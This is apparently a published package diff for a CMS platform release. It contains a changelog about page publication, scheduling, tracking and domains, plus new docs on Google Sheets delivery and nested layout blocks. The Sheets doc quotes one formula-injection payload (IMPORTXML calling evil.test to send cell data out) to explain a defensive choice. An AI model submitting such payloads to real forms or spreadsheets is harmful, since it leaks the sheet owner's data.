@bygghammar/cms-platform 0.90.0-m7.9 → 0.91.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (88) hide show
  1. package/CHANGELOG.md +241 -0
  2. package/README.md +23 -1
  3. package/docs/GOOGLE-SHEETS.md +145 -0
  4. package/docs/LAYOUT-BLOCKS.md +125 -0
  5. package/docs/MEDIA-FOLDERS.md +90 -0
  6. package/docs/NEW-SITE.md +35 -0
  7. package/docs/PAGES.md +452 -0
  8. package/docs/SCHEDULING.md +130 -0
  9. package/docs/TYPOGRAPHY.md +86 -0
  10. package/migrations/20260904090000_c54603f8-a155-40f8-a86c-54434aa5c0ae.sql +33 -0
  11. package/migrations/20260904140000_9f2a7c41-06d5-4d6b-8b4e-1c7a5d3e9b20.sql +383 -0
  12. package/migrations/20260904160000_0d565000-2839-4738-aacc-537d7090398f.sql +751 -0
  13. package/package.json +5 -1
  14. package/src/backoffice/DomainsView.tsx +152 -25
  15. package/src/backoffice/FormEditorView.tsx +10 -0
  16. package/src/backoffice/FormSettingsView.tsx +8 -0
  17. package/src/backoffice/MediaLibraryView.tsx +239 -21
  18. package/src/backoffice/NavigationView.tsx +43 -0
  19. package/src/backoffice/PageBuilderView.tsx +193 -36
  20. package/src/backoffice/PageEditorView.tsx +293 -57
  21. package/src/backoffice/PagesListView.tsx +294 -19
  22. package/src/backoffice/ScheduleFields.tsx +151 -0
  23. package/src/backoffice/SectionFormView.tsx +58 -0
  24. package/src/backoffice/StatusBadge.tsx +174 -0
  25. package/src/backoffice/TrackingView.tsx +247 -208
  26. package/src/backoffice/TypographyPanel.tsx +308 -0
  27. package/src/backoffice/forms/GoogleSheetsHelp.tsx +220 -0
  28. package/src/backoffice/inspectors/blocks.tsx +149 -0
  29. package/src/backoffice/inspectors/fields.tsx +81 -0
  30. package/src/backoffice/inspectors/index.tsx +3 -0
  31. package/src/backoffice/media/ConfirmDialog.tsx +64 -4
  32. package/src/backoffice/routes/host.ts +31 -0
  33. package/src/backoffice/routes/index.tsx +140 -15
  34. package/src/backoffice/routes/media-forms.tsx +5 -0
  35. package/src/backoffice/seo/PageSeoPanelView.tsx +31 -6
  36. package/src/backoffice/seo/page-seo-form.ts +11 -1
  37. package/src/backoffice/shell/domain-guard.ts +27 -14
  38. package/src/backoffice/shell/index.ts +5 -0
  39. package/src/backoffice/shell/use-resolved-config.tsx +67 -0
  40. package/src/backoffice/tracking-drafts.ts +150 -0
  41. package/src/blocks/block-children.tsx +40 -0
  42. package/src/blocks/block-tree.ts +378 -0
  43. package/src/blocks/components/IconGridBlock.tsx +76 -51
  44. package/src/blocks/components/LayoutBlock.tsx +100 -0
  45. package/src/blocks/countdown-time.ts +17 -87
  46. package/src/blocks/registry.tsx +21 -0
  47. package/src/blocks/types.ts +40 -0
  48. package/src/cms/page-publication.ts +377 -0
  49. package/src/cms/page-status.ts +152 -0
  50. package/src/cms/timezone.ts +181 -0
  51. package/src/cms/use-publication-boundary.ts +84 -0
  52. package/src/cms/use-schedule-clock.ts +43 -0
  53. package/src/cms/visibility-schedule.ts +267 -0
  54. package/src/config/modules.ts +34 -10
  55. package/src/config/site-config.ts +32 -0
  56. package/src/config/typography.ts +143 -0
  57. package/src/http/cache-policy.ts +49 -2
  58. package/src/media/folders.ts +183 -0
  59. package/src/media/use-media-upload.ts +21 -4
  60. package/src/navigation/index.ts +34 -2
  61. package/src/platform/contract.ts +52 -1
  62. package/src/runtime/server-entry.ts +8 -2
  63. package/src/server/content-sections-core.ts +16 -0
  64. package/src/server/domains-core.ts +124 -107
  65. package/src/server/forms-delivery-core.ts +61 -10
  66. package/src/server/forms-submissions-core.ts +47 -0
  67. package/src/server/google-service-account.ts +325 -0
  68. package/src/server/google-sheets-core.ts +463 -0
  69. package/src/server/http/sitemap.ts +32 -8
  70. package/src/server/injections-core.ts +230 -49
  71. package/src/server/media-library-core.ts +27 -6
  72. package/src/server/pages-core.ts +680 -184
  73. package/src/server/published-cache.ts +25 -4
  74. package/src/server/resolve-globals.ts +6 -1
  75. package/src/server/schema-drift.ts +4 -0
  76. package/src/server/schemas.ts +15 -0
  77. package/src/site/PageRenderer.tsx +45 -12
  78. package/src/site/SiteFooter.tsx +44 -3
  79. package/src/site/SiteHeader.tsx +23 -2
  80. package/src/site/google-fonts.ts +191 -0
  81. package/src/site/host.ts +172 -0
  82. package/src/site/locale-domains.ts +500 -0
  83. package/src/site/routes/public-page.tsx +12 -1
  84. package/src/site/routes.ts +206 -38
  85. package/src/site/site-url.ts +80 -17
  86. package/src/site/typography.tsx +75 -0
  87. package/src/tracking/injections.ts +52 -9
  88. package/src/ui/MobileCarousel.tsx +289 -0
package/CHANGELOG.md CHANGED
@@ -8,6 +8,247 @@ matches `package.json` exactly. See
8
8
  Versions 0.1.0 through 0.78.0 predate this repository and were reconstructed
9
9
  from the published npm tarballs.
10
10
 
11
+ ## 0.91.0
12
+
13
+ - Stable promotion of `0.91.0-m7.1`. There are no runtime source, database
14
+ schema, migration or behaviour changes in this release; only the package
15
+ version and this release note differ.
16
+ - Published on npm's default `latest` dist-tag. The milestone `m7` dist-tag
17
+ remains on `0.91.0-m7.1`, and consuming sites should pin the exact stable
18
+ version `0.91.0`.
19
+ - `PLATFORM_CONTRACT_VERSION` remains 2. Sites upgrading from
20
+ `0.90.0-m7.12` or earlier must apply all three new canonical migrations in
21
+ chronological order, then verify `compareSchema` and
22
+ `assertPlatformContract(2)` before enabling editors.
23
+
24
+ ## 0.91.0-m7.1
25
+
26
+ **`PLATFORM_CONTRACT_VERSION` is 2.** This release changes what a host's
27
+ database must provide, and a breaking contract change takes a minor bump while
28
+ this package is pre-1.0, so the minor moves and the milestone counter restarts.
29
+ The channel is unchanged: this publishes to the `m7` dist-tag and does not move
30
+ `latest`.
31
+
32
+ - `page_publications` alone decides what the public website serves. A page with
33
+ no open publication row cannot be reached, however well somebody knows its
34
+ URL, and the public reader answers from those rows.
35
+ - `pages.status` is separate editorial metadata. It does not grant or withhold
36
+ public access, and it is not a mirror of it: a page whose status is `draft`
37
+ can intentionally be public for the length of a scheduled publication window,
38
+ because the row says so and the status has no vote.
39
+ - Publishing is an explicit, confirmed act. Publish and unpublish both ask
40
+ first, and the confirmation follows the transition rather than the state, so
41
+ publishing over a queued update says that it cancels that update and
42
+ unpublishing over a schedule says that it cancels the schedule. New and
43
+ duplicated pages start as drafts.
44
+ - Scheduling is real, and the two schedulable things have different shapes. A
45
+ page version has a required start and an optional end, and the transition is
46
+ applied inside the same statement that records it. Menu items, footer columns
47
+ and footer links support independent show and hide boundaries through one
48
+ `isVisibleAt`: either bound may be left empty, and an item with neither is
49
+ simply live. Instants are stored as UTC; editors type wall-clock time in the
50
+ site's timezone.
51
+ - Cancelling a schedule is no longer a way to unpublish. The server refuses to
52
+ cancel a publication row that has already started and names Unpublish as the
53
+ thing to use instead, because cancelling a started row would take the page off
54
+ the public website — possibly restoring an older version — under a word that
55
+ promises the opposite. A row that is already inactive answers
56
+ `already-cancelled` and writes nothing.
57
+ - The trash cannot leave a page published. Soft-deleting retires the
58
+ publication rows that made it public, and restoring puts a page back as a
59
+ draft instead of silently republishing whatever was live when it was deleted.
60
+ Restore now refuses a page that is not in the trash rather than retiring its
61
+ publications.
62
+ - A screen left open crosses a publication boundary in front of the editor.
63
+ Both the builder and the pages list re-read themselves when the next
64
+ scheduled transition falls due, through one hook that owns a chain of timers.
65
+ A boundary that has passed is asked about once and then on a bounded, growing
66
+ wait — thirty seconds doubling to five minutes — so a slow or failing read
67
+ cannot turn into a zero-delay refetch loop; what restores the ordinary timer
68
+ is a new `publication_at` arriving in fresh data.
69
+ - Layout blocks are a real nested block model. A layout block holds two to
70
+ eight columns that fold through tablet to a single column on mobile, and an
71
+ illegal move is refused by a typed `MoveResult` instead of being silently
72
+ dropped.
73
+ - Icon cards become a scroll-snap carousel on mobile only; desktop is
74
+ unchanged. It honours `prefers-reduced-motion`, is keyboard-navigable, and
75
+ adds no dependency.
76
+ - Uploads land in dated media folders. No existing file moves and no existing
77
+ URL changes. A custom folder name is sanitised, or refused outright rather
78
+ than allowed to escape its prefix.
79
+ - Google Sheets delivery moves to a service account, so the spreadsheet stays
80
+ private and no credential reaches the browser. A submission is stored before
81
+ delivery is attempted, so a Sheets outage cannot lose one, and "Test
82
+ connection" classifies each failure instead of reporting an unproven write as
83
+ success — it never writes a row.
84
+ - Menu and footer each pick a Google font independently, from a static
85
+ catalogue, offering only the weights a family actually has. No API key is
86
+ needed in the browser to show the picker, and no font is selected for an
87
+ existing site by this release.
88
+ - New documentation: `docs/PAGES.md`, `docs/SCHEDULING.md`,
89
+ `docs/LAYOUT-BLOCKS.md`, `docs/MEDIA-FOLDERS.md`, `docs/GOOGLE-SHEETS.md` and
90
+ `docs/TYPOGRAPHY.md`.
91
+
92
+ **All three new migrations must be applied, in chronological order.** The latter
93
+ two are the contract-v2 publication migrations.
94
+
95
+ - `20260904090000_c54603f8-a155-40f8-a86c-54434aa5c0ae.sql` — additive only:
96
+ restates the `pages.status` default, comments the column, adds two partial
97
+ indexes.
98
+ - `20260904140000_9f2a7c41-06d5-4d6b-8b4e-1c7a5d3e9b20.sql` — backfills one open
99
+ publication row for every published, undeleted page that has no active row, so
100
+ a site live before the upgrade is live after it, and installs the functions
101
+ that own visibility.
102
+ - `20260904160000_0d565000-2839-4738-aacc-537d7090398f.sql` — adds the trash and
103
+ cancellation functions, and runs two repair `UPDATE`s confined to pages
104
+ already in the trash.
105
+
106
+ All three are registered in `SCHEMA_MIGRATIONS`, so `compareSchema` reports any
107
+ one of them as missing — the additive first one included. Skipping it because it
108
+ changes no behaviour still leaves a site reporting drift.
109
+
110
+ **Deployment must enforce both checks before editors are enabled.**
111
+ `compareSchema(applied)` is what names a missing migration file, and it needs
112
+ the host to hand it the migrations actually applied. `assertPlatformContract(2)`
113
+ compares version numbers and never looks at the database. Neither stands in for
114
+ the other: run both, and let editors back in only once both pass.
115
+
116
+ ## 0.90.0-m7.12
117
+
118
+ - The page SEO panel no longer prints a bare page path under the Canonical
119
+ heading. For a locale with no configured public domain there is no canonical
120
+ URL, and a path shown there reads as an address on whatever hostname the
121
+ backoffice happens to be open at.
122
+ - That case now says so in words — *No public URL — no domain configured for
123
+ this language* — instead of a relative path, the current or backoffice
124
+ hostname, another locale's domain, or a fabricated absolute URL.
125
+ - The Route row is unchanged and still shows the page path alongside the
126
+ current registry route, so nothing that was accurate is lost.
127
+ - A mapped locale is unaffected: its canonical preview stays absolute on that
128
+ locale's own domain. So is single-origin mode, where the one hostname serving
129
+ every language answers for each of them.
130
+ - `pageSeoPreviewCanonical` keeps its signature and its return value, path
131
+ fallback included, so existing callers are unaffected; what an empty origin
132
+ means is decided by `PageSeoPanelView`, which owns the display. The helper's
133
+ documentation now records that the fallback is not a URL.
134
+ - Regression coverage renders the panel and asserts the Canonical row itself
135
+ for the mapped, single-origin and unmapped cases.
136
+ - No migration and no database change.
137
+
138
+ ## 0.90.0-m7.11
139
+
140
+ - The page builder no longer invents a public URL for a locale with no
141
+ configured public domain. An empty `publicHost(locale)` means no public URL
142
+ exists, and is no longer read as a relative one.
143
+ - For an unmapped locale the page path is shown as plain, non-clickable
144
+ information, saying that no domain is configured for that language. The
145
+ public-link anchor and the Copy URL action are omitted rather than pointed
146
+ somewhere else: no relative href, no backoffice or request hostname, no other
147
+ locale's domain.
148
+ - Draft Preview keeps working for an unmapped locale. Previewing is a
149
+ backoffice operation and has never needed a public hostname.
150
+ - The `publicHost`, `publicPath` and `usePageUrl` host contracts document this,
151
+ so a host knows what the empty string means before it implements one.
152
+ - No migration and no database change. Nothing in this release concerns a
153
+ host's own integration code.
154
+
155
+ ## 0.90.0-m7.10
156
+
157
+ - Code & tracking drafts survive a refetch. A background reload replaced the
158
+ table under the administrator's hands: a brand new profile, a duplicate made
159
+ from an existing one, and edits typed but not yet saved all disappeared
160
+ without a word. What the server sends is merged into what is on screen
161
+ instead of replacing it.
162
+ - Tracking profiles apply in global, then language, then domain order, so a
163
+ domain profile refines the language one rather than replacing it. Hostname
164
+ matching is consistent throughout: an apex and its single `www.` are the same
165
+ site everywhere the decision is made.
166
+ - GTM, GA4, Meta Pixel, TikTok Pixel, verification meta tags and raw
167
+ head / body-start / body-end code all reach the server-rendered HTML at the
168
+ position each one requires, rather than depending on a client-side step to
169
+ fire.
170
+ - Raw custom code is injected byte for byte. `$&`, `` $` ``, `$'` and `$$` in a
171
+ snippet were read as replacement patterns and rewrote the markup around them;
172
+ a profile now reaches the page exactly as it was typed.
173
+ - Tracking is excluded from the configured backoffice path, preview routes, API
174
+ routes and server-function routes, so pixels no longer fire on administrative
175
+ traffic or on responses that are not pages.
176
+ - A tracking read that fails leaves the public site standing. The page renders
177
+ without injection, the failure is reported through an injectable logger, and
178
+ it is not cached — the next request retries instead of serving a fabricated
179
+ empty configuration for the rest of the cache window. A backend that answers
180
+ with an error rather than throwing counts as a failure; treating it as "no
181
+ profiles" made a broken deployment indistinguishable from an unconfigured one.
182
+ - The tracking cache is bounded rather than growing one entry per hostname
183
+ seen, and a successful create, update or delete drops it, so a change goes
184
+ live within the TTL instead of sitting behind whatever was cached first.
185
+ - A failed audit entry or a failed log line cannot undo a write that already
186
+ happened. Both are best-effort in both directions: the mutation stands and is
187
+ reported as the success it was, rather than coming back as an error whose
188
+ obvious retry inserts a second profile. That now holds even when the
189
+ host-supplied logger is itself what throws.
190
+ - A newly created profile whose id the server cannot establish is held until the
191
+ page is reloaded. The insert may well have landed, so pressing Save again
192
+ would create a duplicate firing every pixel twice; the screen says to reload,
193
+ and saving existing profiles is unaffected.
194
+ - Languages & domains has moved out of the main sidebar into System
195
+ administration, alongside the other installation-level screens.
196
+ - Code & tracking and Languages & domains require the `admin` role, matching the
197
+ authorization their server functions already enforce. Staff without it get a
198
+ plain no-access screen instead of a form that fails on Save.
199
+ - Storing a hostname and matching a request against one are now separate
200
+ questions. Canonical output carries the exact hostname the deployment
201
+ configured; matching still folds an apex and one `www.` together. A page is no
202
+ longer canonical on two of its own addresses.
203
+ - Canonical URLs, `og:url`, hreflang, `og:locale:alternate` and both sitemaps
204
+ are built from the configured canonical hostnames.
205
+ - Rows written before the domain validator existed are ignored for matching and
206
+ for every generated URL, instead of being normalized into a plausible-looking
207
+ address. `ftp://example.com` no longer reduces to `example.com` and wins a
208
+ request for it — which had decided the locale, the tracking profiles that fire
209
+ and the backoffice hostname alike.
210
+ - In explicit domain-mapping mode a supported language with no configured domain
211
+ is left out of hreflang and sitemap alternates, instead of borrowing another
212
+ locale's origin — or the origin of the current request — and advertising a URL
213
+ this deployment may not serve.
214
+ - Single-origin multilingual sites are supported by the sitemap helpers.
215
+ `sitemapEntries` and `sitemapIndexEntries` take the public origin and emit
216
+ absolute URLs only. Previously a locale sitemap could come out carrying
217
+ relative URLs, while the sitemap index had no domain mappings from which to
218
+ build entries at all.
219
+ - Public locale-domain projections omit `isAdminDomain`. Which hostname serves
220
+ the backoffice is not something an anonymous reader needs to be told.
221
+ - `SITE_URL` is validated before it can become the authoritative admin hostname,
222
+ and as configured rather than after normalizing — normalizing strips the
223
+ scheme, so a value nobody can serve validated cleanly and was allowed to
224
+ override the database and switch off the check that stops an unreachable
225
+ admin domain being saved.
226
+ - Admin-host resolution fails open. An unusable flagged row falls through to the
227
+ next source instead of stranding the backoffice, the screen names which source
228
+ the hostname came from, and the banner refreshes when a domain is saved.
229
+ - **Host integration required after upgrading.** Nothing below is done by this
230
+ package on the host's behalf:
231
+ - expose the shared Languages & domains screen at the host's canonical
232
+ `/admin/domains` route;
233
+ - keep the old `/domains` route as a compatibility redirect where applicable;
234
+ - register `getEffectiveAdminHost` among the backoffice host functions, so
235
+ the screen can say where the backoffice actually is;
236
+ - use `siteCanonicalHost()` when passing `SITE_URL` authority, not the raw
237
+ environment value;
238
+ - pass the public origin to `sitemapEntries` and `sitemapIndexEntries` on
239
+ single-origin sites;
240
+ - pass the configured `backofficePath` into `createServerEntry`, or tracking
241
+ will be injected into the backoffice;
242
+ - split public-safe locale-domain reads from authenticated admin reads; and
243
+ - ensure the tracking-create server function returns the newly created
244
+ profile id, which the screen now requires before it will treat a create as
245
+ complete.
246
+ - No database migration is included in this release, and no database data is
247
+ changed by it.
248
+ - Not included and not yet verified: Voyara's own integration is not part of
249
+ this package release, and neither staging nor production has been verified
250
+ with `0.90.0-m7.10`.
251
+
11
252
  ## 0.90.0-m7.9
12
253
 
13
254
  - The email settings screen says where provider credentials actually go. An
package/README.md CHANGED
@@ -33,6 +33,25 @@ overwrite each other: run the migration, expose one server endpoint through
33
33
  forward `editSessionId` to the saves. Until that is done every screen behaves
34
34
  exactly as it did before locks existed.
35
35
 
36
+ ## Feature guides
37
+
38
+ | Guide | What it covers |
39
+ | --- | --- |
40
+ | `docs/PAGES.md` | Draft/published pages, the publish and unpublish confirmations, duplication |
41
+ | `docs/SCHEDULING.md` | `VisibilitySchedule`, site-timezone editing, scheduled menu and footer items |
42
+ | `docs/LAYOUT-BLOCKS.md` | The columns block, the nested block tree and its move rules, the Icon Cards mobile carousel |
43
+ | `docs/MEDIA-FOLDERS.md` | Automatic month folders, custom upload folders and their sanitising, library browsing |
44
+ | `docs/GOOGLE-SHEETS.md` | Service-account form delivery, the connection test, and the server variables it needs |
45
+ | `docs/TYPOGRAPHY.md` | Independent Google Fonts for the menu and the footer |
46
+
47
+ ## Server variables
48
+
49
+ Beyond the existing provider secrets, Google Sheets delivery reads either
50
+ `GOOGLE_SERVICE_ACCOUNT_JSON`, or `GOOGLE_SERVICE_ACCOUNT_EMAIL` plus
51
+ `GOOGLE_SERVICE_ACCOUNT_PRIVATE_KEY`. All three are server-only; nothing Google
52
+ related is ever read in the browser, and the font picker needs no API key. See
53
+ `docs/GOOGLE-SHEETS.md`.
54
+
36
55
  ## Compatibility policy
37
56
 
38
57
  - `CHANGELOG.md` records every release; read it before upgrading.
@@ -40,7 +59,10 @@ exactly as it did before locks existed.
40
59
  releases are always compatible.
41
60
  - `PLATFORM_CONTRACT_VERSION` (`platform/contract`) is bumped when a shared
42
61
  screen starts requiring schema or adapter capabilities an older site lacks.
43
- Sites pin it in a test.
62
+ Sites pin it in a test. It is **v2**: page saves, publishing, trashing and
63
+ restoring go through database functions that the two `20260904…` publication
64
+ migrations install, so migrations are applied before the package is deployed.
65
+ `docs/NEW-SITE.md` gives the order.
44
66
  - `migrations/` is schema only. Site content, SEO copy and seeds never belong
45
67
  there.
46
68
 
@@ -0,0 +1,145 @@
1
+ # Google Sheets delivery
2
+
3
+ Form submissions can be appended to a Google Sheet. The spreadsheet stays
4
+ **private**: the site signs in as its own service account, and an editor shares
5
+ the sheet with that account's address exactly as they would with a colleague.
6
+
7
+ The older pattern — publish the sheet to the web and write to it — is not
8
+ supported, because "make it public so the robot can reach it" is a data breach
9
+ with a workaround's name on it.
10
+
11
+ ## Configuration
12
+
13
+ The credential lives in the server environment, alongside every other provider
14
+ secret (`src/server/provider-secrets.ts`). Two accepted forms:
15
+
16
+ | Variable | Notes |
17
+ | --- | --- |
18
+ | `GOOGLE_SERVICE_ACCOUNT_JSON` | The whole downloaded key file. Raw JSON or base64. |
19
+ | `GOOGLE_SERVICE_ACCOUNT_EMAIL` + `GOOGLE_SERVICE_ACCOUNT_PRIVATE_KEY` | The two fields separately. |
20
+
21
+ The JSON form wins when both are present: it is the artefact Google actually
22
+ hands out, so a deployment that pasted it verbatim should not be quietly
23
+ overridden by a half-filled pair.
24
+
25
+ `\n` escapes inside the private key are accepted, because that is what a `.env`
26
+ file does to a PEM and every deployment hits it once.
27
+
28
+ ### What must never happen
29
+
30
+ - **No credential reaches the browser.** The server returns only the service
31
+ account's *email address*, which is an identifier, not a secret — and it is the
32
+ one thing the editor cannot guess.
33
+ - **No credential is stored in the database or in page content.** It is an
34
+ environment variable, full stop.
35
+ - **No credential appears in an error.** `googleErrorDetail` reads only Google's
36
+ documented status text and truncates it to 200 characters, so an error cannot
37
+ grow into a key dump.
38
+
39
+ Signing uses Web Crypto (`RSASSA-PKCS1-v1_5` / SHA-256). No Google SDK, no JWT
40
+ library, no new dependency.
41
+
42
+ Access tokens are cached for their lifetime minus 60 seconds of slack, so a busy
43
+ form does not pay for an RSA signature and a round trip on every submission.
44
+ `clearGoogleTokenCache()` is the test seam.
45
+
46
+ ## Test connection
47
+
48
+ The admin panel has a **Test connection** button, and its whole purpose is to
49
+ give a different answer for each different problem. A single "it didn't work" is
50
+ the reason these integrations get abandoned.
51
+
52
+ | `SheetsErrorCode` | What the editor is told to do |
53
+ | --- | --- |
54
+ | `credentials-missing` | A developer sets the server variables; nothing is fixable from here. |
55
+ | `credentials-invalid` | The stored key is not accepted by Google; re-copy it from the key file. |
56
+ | `invalid-spreadsheet-id` | Copy the long ID from the URL, between `/d/` and `/edit`. |
57
+ | `spreadsheet-not-found` | No spreadsheet with that ID exists. |
58
+ | `permission-denied` | Share the sheet with the address shown, as Editor. |
59
+ | `worksheet-not-found` | Check the tab name — the existing tabs are listed. |
60
+ | `api-unavailable` | Nothing is wrong. Try again shortly. |
61
+
62
+ On `permission-denied` the panel shows the service account address with a **copy
63
+ button**, because the next thing the editor has to do is paste it into Google's
64
+ share dialog.
65
+
66
+ `worksheet-not-found` lists the tabs that *do* exist. Nine times out of ten the
67
+ answer is that the tab is called `Blad1`, not `Sheet1`.
68
+
69
+ **The test never writes a row.** It reads the spreadsheet's title and tab list,
70
+ and asks Drive whether this caller may edit the file. An integration test that
71
+ leaves junk in the customer's sheet trains people not to use it.
72
+
73
+ `canWrite` therefore has three values, not two:
74
+
75
+ | `canWrite` | Meaning |
76
+ | --- | --- |
77
+ | `true` | Drive says this account may edit the file. |
78
+ | `false` | Drive says it may not — shared as Viewer, not Editor. The test fails. |
79
+ | `null` | Drive did not answer, usually because its API is not enabled on the project. Write access is **unconfirmed**, and the panel says so. |
80
+
81
+ `null` is not `true`. Reading the sheet needs less access than appending to it,
82
+ so a green test that could not reach Drive means "the ID, the tab and the
83
+ credentials are right" — not "a submission will land". The panel's wording
84
+ follows that exactly.
85
+
86
+ ## What actually counts as a delivered row
87
+
88
+ Two things a green test cannot promise, handled at the append itself:
89
+
90
+ - **A 2xx is not a delivery.** Google answers an append with what it wrote;
91
+ `appendGoogleSheetRow` reads `updates.updatedRows` and treats anything else —
92
+ a body it cannot parse, zero rows, a proxy's HTML — as a failed delivery. A
93
+ submission wrongly marked delivered is the one state nobody goes back and
94
+ checks.
95
+ - **Every call has a deadline.** `GOOGLE_REQUEST_TIMEOUT_MS` (10s) arms an
96
+ `AbortSignal` on the token exchange, both connection-test reads and the
97
+ append. A visitor is waiting on these; a connection Google accepts and never
98
+ answers must not hold the submission open until something further out gives
99
+ up. A timeout reports `api-unavailable`, which is already the retryable case.
100
+
101
+ ## Visitor text is text, never a formula
102
+
103
+ The append sends `valueInputOption=RAW`. `USER_ENTERED` parses each value the
104
+ way it would if a person had typed it into the grid, so a visitor who writes
105
+ `=IMPORTXML("https://evil.test/?c="&A1,"//a")` into a form field would have a
106
+ live formula stored in the customer's sheet, re-running under the sheet owner's
107
+ account every time they open it. RAW stores the characters. The values still
108
+ *look* wrong in the cell, which is the correct outcome: it is what the visitor
109
+ typed.
110
+
111
+ `sheetRange` quotes the worksheet name in A1 notation and doubles any
112
+ apostrophe in it — `Anna's tab` becomes `'Anna''s tab'!A:Z`. An unquoted tab
113
+ name with a space in it is the most common cause of an append that returns
114
+ `Unable to parse range` after a test that passed.
115
+
116
+ ## Submissions do not depend on Google
117
+
118
+ A submission is stored first and delivered second. If Sheets is unreachable,
119
+ misconfigured, or returns an error, **the submission is still saved** and the
120
+ failure is recorded against it. The visitor gets their confirmation.
121
+
122
+ Losing a customer enquiry because a spreadsheet was renamed is not an acceptable
123
+ failure mode, and delivery is a side effect, not the record. The header of
124
+ `forms-submissions-core.ts` states the invariant directly: *a stored submission is
125
+ never deleted by a delivery failure.* The row is inserted, delivery is attempted,
126
+ and the outcome is patched onto the row that already exists.
127
+
128
+ ## The legacy gateway
129
+
130
+ `appendViaLegacyGateway` is still in `forms-delivery-core.ts`. It is the
131
+ pre-service-account path (`LOVABLE_API_KEY` + `GOOGLE_SHEETS_API_KEY` through a
132
+ third-party connector) and it was left alone deliberately: sites configured
133
+ before this change keep working without an emergency redeployment.
134
+
135
+ It is **never reached when a service account is configured**, and when neither is
136
+ configured the error it returns names the service-account variables, so the
137
+ message points at the supported path rather than the deprecated one. It is the
138
+ code to delete once every installation has moved.
139
+
140
+ ## Testing
141
+
142
+ `tests/google-sheets.test.ts` injects a fake `fetch` and a fake `Env`. There is
143
+ no real credential, no network call and no live spreadsheet anywhere in the
144
+ suite. Both `resolveGoogleCredentials` and `googleAccessToken` take their
145
+ environment and their fetch as parameters precisely so this is possible.
@@ -0,0 +1,125 @@
1
+ # Layout, columns and nested blocks
2
+
3
+ Before this, a page was a flat list of blocks. Now it is a tree, and the tree is
4
+ the part that can lose someone's work: a move that silently drops a block is a
5
+ data-loss bug that looks like a UI glitch.
6
+
7
+ Everything about the shape of that tree lives in `src/blocks/block-tree.ts`:
8
+ insertion, moving, duplication, and `flattenBlockTree`, which yields every block
9
+ on a page including the ones sitting inside layout columns.
10
+
11
+ Anything that asks a question *about the blocks on a page* goes through
12
+ `flattenBlockTree` instead of iterating the root array. Global-reference
13
+ resolution, the countdown reveal scheduler, the "one global block per section"
14
+ check and the global usage scan all do. A root-only scan is the shape of bug
15
+ that makes a feature quietly stop working the moment an editor drags the block
16
+ into a column — nothing throws, the feature just misses.
17
+
18
+ `LayoutBlock` is the exception, and only because there rendering *is* the
19
+ recursion: it walks its own `props.columns` to draw them.
20
+
21
+ ## The layout block
22
+
23
+ ```ts
24
+ LAYOUT_BLOCK_TYPE = "layout"
25
+ LAYOUT_MIN_COLUMNS = 2
26
+ LAYOUT_MAX_COLUMNS = 8
27
+ MAX_LAYOUT_DEPTH = 3
28
+ ```
29
+
30
+ A layout block's `props.columns` is `BlockInstance[][]` — one array per column.
31
+ Column count is chosen per breakpoint:
32
+
33
+ | Breakpoint | Choices | Class |
34
+ | --- | --- | --- |
35
+ | Desktop (`lg:`) | 2–8 | `lg:grid-cols-N` |
36
+ | Tablet (`sm:`) | 2, 3 or 4 | `sm:grid-cols-N` |
37
+ | Mobile | always 1 | `grid-cols-1` |
38
+
39
+ Mobile is not configurable. Two columns on a 375px screen is two unreadable
40
+ columns, and every site that has offered the option has ended up with one.
41
+
42
+ Narrowing a layout from four columns to two does **not** delete the contents of
43
+ columns three and four — `writeLayoutColumns` folds the overflow into the last
44
+ remaining column. Column count is a presentation choice; it is not a licence to
45
+ throw away blocks. The same function is pure: it returns a new tree and never
46
+ mutates the one passed in.
47
+
48
+ Gaps come from the theme spacing scale (`gap-0` / `gap-4` / `gap-8` / `gap-12`),
49
+ not from arbitrary pixel values. Every column carries `min-w-0`, because a grid
50
+ child's default `min-width: auto` lets a long unbroken string blow the column
51
+ wider than its track and push the page into horizontal scroll.
52
+
53
+ ## Moving things
54
+
55
+ `moveBlockInTree(blocks, id, target)` returns a discriminated result rather than
56
+ throwing or silently no-op-ing:
57
+
58
+ ```ts
59
+ type MoveResult =
60
+ | { ok: true; blocks: BlockInstance[] }
61
+ | { ok: false; reason: "self" | "descendant" | "too-deep" | "missing" };
62
+ ```
63
+
64
+ The four refusals are the four ways a drag can be nonsense:
65
+
66
+ - `self` — dropping a block into itself.
67
+ - `descendant` — dropping a container into its own child, which would detach the
68
+ whole subtree from the document and leak it.
69
+ - `too-deep` — the depth rule, below.
70
+ - `missing` — the dragged id is not in the tree.
71
+
72
+ `canDropBlock` / `canNestAt` answer the same question without performing the
73
+ move, so the editor can grey out an invalid target instead of accepting the drop
74
+ and then undoing it.
75
+
76
+ ### The depth rule
77
+
78
+ A drop is refused when `targetDepth + subtreeHeight(moving) > MAX_LAYOUT_DEPTH`.
79
+
80
+ It is the *height of what you are dragging* that matters, not just where it
81
+ lands. Dropping a plain text block into a column two levels down is fine;
82
+ dropping a layout that already contains a layout into the same place is not,
83
+ because the deepest leaf would end up at level four. `tests/layout-block.test.tsx`
84
+ asserts `subtreeHeight` explicitly at each step so the test states the rule
85
+ rather than encoding a fixture that happens to pass.
86
+
87
+ Every refusal test asserts the tree is **unchanged**, not merely that `ok` was
88
+ `false`. A refusal that half-applies is worse than a crash.
89
+
90
+ ## Rendering
91
+
92
+ `PageRenderer` recurses through columns using the same registry as the top
93
+ level, so a block behaves identically wherever it sits. Unknown child types are
94
+ skipped, not rendered as an error — a page that lost one block to a version
95
+ mismatch should still show the other nineteen.
96
+
97
+ Empty columns render a `Column N` placeholder **in the builder only**. The public
98
+ page renders nothing for them.
99
+
100
+ ## Icon cards on mobile
101
+
102
+ `src/ui/MobileCarousel.tsx` is a separate, opt-in concern: the Icon Cards block
103
+ takes `mobileLayout: "stack" | "slider"`, and `"stack"` — the default — produces
104
+ exactly the markup it always did. The desktop and tablet grid is unchanged in
105
+ both modes; the carousel only exists below `sm`.
106
+
107
+ It uses CSS scroll-snap (`snap-x snap-mandatory overflow-x-auto`) rather than a
108
+ carousel dependency. Swiping is the browser's own scrolling, so it is smooth on
109
+ a phone without any JavaScript running per frame.
110
+
111
+ Two details that were bugs first:
112
+
113
+ - Slides are located with `[data-cms-slide]`, never by child index. The track
114
+ also contains the `sr-only` element that names it, and counting that as a slide
115
+ put the indicator one card ahead of the one on screen.
116
+ - The class is `motion-safe:scroll-smooth`, not `scroll-smooth`. A stylesheet's
117
+ `scroll-behavior: smooth` overrides `scrollTo({ behavior: "auto" })`, so with
118
+ the plain class the reduced-motion path animated anyway.
119
+
120
